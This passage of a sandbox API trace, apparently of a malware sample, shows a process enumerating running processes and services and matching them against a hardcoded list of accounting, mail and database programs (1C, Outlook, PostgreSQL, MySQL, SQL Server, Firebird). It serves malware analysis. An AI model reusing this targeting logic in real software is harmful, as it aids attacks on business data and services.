th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.975] lstrlenW (lpString="csrss.exe") returned 9 [0175.975] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0175.975] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0175.975] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0175.975] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0175.975] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0175.975] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0175.975] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.976] lstrlenW (lpString="wininit.exe") returned 11 [0175.976] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0175.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0175.976] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0175.976] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0175.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0175.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0175.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0175.976] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.976] lstrlenW (lpString="csrss.exe") returned 9 [0175.976] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0175.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0175.976] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0175.976] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0175.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0175.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0175.977] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.977] lstrlenW (lpString="winlogon.exe") returned 12 [0175.977] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.977] lstrlenW (lpString="services.exe") returned 12 [0175.977] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.978] lstrlenW (lpString="lsass.exe") returned 9 [0175.978] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0175.978] lstrlenW (lpString="lsm.exe") returned 7 [0175.978] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.978] lstrlenW (lpString="svchost.exe") returned 11 [0175.978] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.979] lstrlenW (lpString="svchost.exe") returned 11 [0175.979] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.979] lstrlenW (lpString="svchost.exe") returned 11 [0175.979] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.981] lstrlenW (lpString="svchost.exe") returned 11 [0175.981] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.982] lstrlenW (lpString="svchost.exe") returned 11 [0175.982] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.982] lstrlenW (lpString="audiodg.exe") returned 11 [0175.982] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.982] lstrlenW (lpString="svchost.exe") returned 11 [0175.983] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.983] lstrlenW (lpString="svchost.exe") returned 11 [0175.983] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.983] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.983] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.984] lstrlenW (lpString="taskhost.exe") returned 12 [0175.984] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.984] lstrlenW (lpString="svchost.exe") returned 11 [0175.984] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.985] lstrlenW (lpString="dwm.exe") returned 7 [0175.985] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.985] lstrlenW (lpString="explorer.exe") returned 12 [0175.985] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0175.986] lstrlenW (lpString="reader_sl.exe") returned 13 [0175.986] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0175.986] lstrlenW (lpString="taskhost.exe") returned 12 [0175.986] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0175.988] lstrlenW (lpString="rundll32.exe") returned 12 [0175.988] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0175.988] lstrlenW (lpString="dinotify.exe") returned 12 [0175.988] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0175.989] lstrlenW (lpString="dllhost.exe") returned 11 [0175.989] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0175.989] lstrlenW (lpString="3G6885.exe") returned 10 [0175.989] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.989] lstrlenW (lpString="cmd.exe") returned 7 [0175.989] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.990] lstrlenW (lpString="conhost.exe") returned 11 [0175.990] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0175.990] lstrlenW (lpString="mode.com") returned 8 [0175.990] Process32NextW (in: hSnapshot=0x1d0, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0175.991] CloseHandle (hObject=0x1d0) returned 1 [0175.991] Sleep (dwMilliseconds=0x1f4) [0176.593] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x537c38 [0176.593] EnumServicesStatusExW (in: hSCManager=0x537c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0176.594] GetLastError () returned 0xea [0176.594] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x4111068 [0176.594] EnumServicesStatusExW (in: hSCManager=0x537c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4111068, cbBufSize=0x11e4, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4111068, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0176.594] CloseServiceHandle (hSCObject=0x537c38) returned 1 [0176.595] lstrlenW (lpString="Appinfo") returned 7 [0176.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0176.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0176.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0176.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0176.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0176.595] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0176.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.595] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0176.595] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0176.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0176.595] lstrlenW (lpString="AudioSrv") returned 8 [0176.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0176.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0176.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0176.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0176.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0176.596] lstrlenW (lpString="BFE") returned 3 [0176.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0176.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0176.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0176.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0176.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0176.596] lstrlenW (lpString="CryptSvc") returned 8 [0176.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0176.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0176.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0176.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0176.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0176.596] lstrlenW (lpString="CscService") returned 10 [0176.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0176.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0176.596] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0176.596] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0176.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0176.596] lstrlenW (lpString="DcomLaunch") returned 10 [0176.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0176.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0176.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0176.597] lstrlenW (lpString="Dhcp") returned 4 [0176.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0176.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0176.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0176.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0176.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0176.597] lstrlenW (lpString="Dnscache") returned 8 [0176.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0176.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0176.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0176.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0176.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0176.597] lstrlenW (lpString="DPS") returned 3 [0176.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0176.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0176.597] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0176.597] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0176.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0176.597] lstrlenW (lpString="eventlog") returned 8 [0176.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0176.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0176.597] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0176.598] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0176.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0176.598] lstrlenW (lpString="EventSystem") returned 11 [0176.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0176.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0176.598] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0176.598] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0176.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0176.598] lstrlenW (lpString="gpsvc") returned 5 [0176.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0176.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0176.598] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0176.598] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0176.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0176.598] lstrlenW (lpString="iphlpsvc") returned 8 [0176.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0176.598] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0176.598] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0176.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0176.598] lstrlenW (lpString="LanmanServer") returned 12 [0176.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0176.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0176.598] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0176.598] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0176.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0176.599] lstrlenW (lpString="LanmanWorkstation") returned 17 [0176.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0176.599] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0176.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0176.599] lstrlenW (lpString="lmhosts") returned 7 [0176.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0176.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0176.599] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0176.599] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0176.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0176.599] lstrlenW (lpString="MMCSS") returned 5 [0176.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0176.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0176.599] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0176.599] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0176.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0176.599] lstrlenW (lpString="MpsSvc") returned 6 [0176.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0176.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0176.599] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0176.599] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0176.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0176.600] lstrlenW (lpString="Netman") returned 6 [0176.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0176.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0176.600] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0176.600] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0176.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0176.600] lstrlenW (lpString="netprofm") returned 8 [0176.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0176.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0176.600] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0176.600] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0176.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0176.600] lstrlenW (lpString="NlaSvc") returned 6 [0176.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0176.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0176.600] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0176.600] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0176.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0176.600] lstrlenW (lpString="nsi") returned 3 [0176.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0176.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0176.601] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0176.601] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0176.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0176.601] lstrlenW (lpString="PcaSvc") returned 6 [0176.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0176.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0176.601] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0176.601] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0176.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0176.601] lstrlenW (lpString="PlugPlay") returned 8 [0176.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0176.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0176.601] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0176.601] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0176.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0176.601] lstrlenW (lpString="Power") returned 5 [0176.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0176.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0176.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0176.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0176.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0176.601] lstrlenW (lpString="ProfSvc") returned 7 [0176.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0176.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0176.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0176.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0176.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0176.602] lstrlenW (lpString="RpcEptMapper") returned 12 [0176.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.602] lstrcmpiW 